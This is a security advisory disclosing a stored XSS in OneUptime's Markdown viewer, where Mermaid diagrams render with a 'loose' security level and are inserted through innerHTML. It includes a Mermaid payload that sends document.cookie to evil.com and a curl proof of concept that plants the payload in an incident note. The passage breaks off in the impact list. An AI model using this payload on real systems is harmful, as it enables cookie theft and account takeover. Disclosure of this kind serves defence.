GitHub Security Advisory: GHSA-wvh5-6vjm-23qh
Package: oneuptime (NPM)
Severity: HIGH (CVSS 7.6)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 10.0.23
Patched in: 10.0.23

Summary: OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: "loose")

Details:
### Summary

The Markdown viewer component renders Mermaid diagrams with `securityLevel: "loose"` and injects the SVG output via `innerHTML`. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's `click` directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable.

### Details

**Mermaid configuration — `Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76`:**

```typescript
// MarkdownViewer.tsx:76
mermaid.initialize({
    securityLevel: "loose",  // Allows interactive event bindings
    // ...
});
```

The Mermaid documentation explicitly warns: `securityLevel: "loose"` allows click events and other interactive bindings in diagrams. The safe default is `"strict"` which strips all interactivity.

**SVG injection via innerHTML — `MarkdownViewer.tsx:106`:**

```typescript
// MarkdownViewer.tsx:106
if (containerRef.current) {
    containerRef.current.innerHTML = svg;  // Raw SVG injection
}
```

After Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via `innerHTML`. Combined with `securityLevel: "loose"`, this allows event handlers embedded in the SVG to execute.

**Mermaid XSS payload:**

```markdown
```mermaid
graph TD
    A["Click me"]
    click A callback "javascript:fetch('https://evil.com/?c='+document.cookie)"
```​
```

With `securityLevel: "loose"`, Mermaid processes the `click` directive and creates an SVG element with an event handler that executes the JavaScript.

### PoC

```bash
# Authenticate
TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
  -H 'Content-Type: application/json' \
  -d '{"email":"user@example.com","password":"password123"}' \
  | jq -r '.token')

# Create an incident note with Mermaid XSS payload
curl -s -X POST 'https://TARGET/api/incident-note' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenantid: PROJECT_ID' \
  -d '{
    "data": {
      "incidentId": "INCIDENT_ID",
      "note": "## Root Cause Analysis\n\n```mermaid\ngraph TD\n    A[\"Load Balancer\"] --> B[\"App Server\"]\n    click A callback \"javascript:fetch('"'"'https://evil.com/?c='"'"'+document.cookie)\"\n```",
      "noteType": "RootCause"
    }
  }'

# Any user viewing this incident note will have their cookies exfiltrated
```

```bash
# Verify the vulnerability in source code:

# 1. securityLevel: "loose":
grep -n 'securityLevel' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx
# Line 76: securityLevel: "loose"

# 2. innerHTML injection:
grep -n 'innerHTML' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx
# Line 106: containerRef.current.innerHTML = svg
```

### Impact

**Stored XSS in any markdown-rendered field.** Affects:

1. **Incident notes/descriptions** — viewed by on-call engineers during incidents
2. **Status page announcements** — viewed by public visitors
3. **Monitor descriptions** — v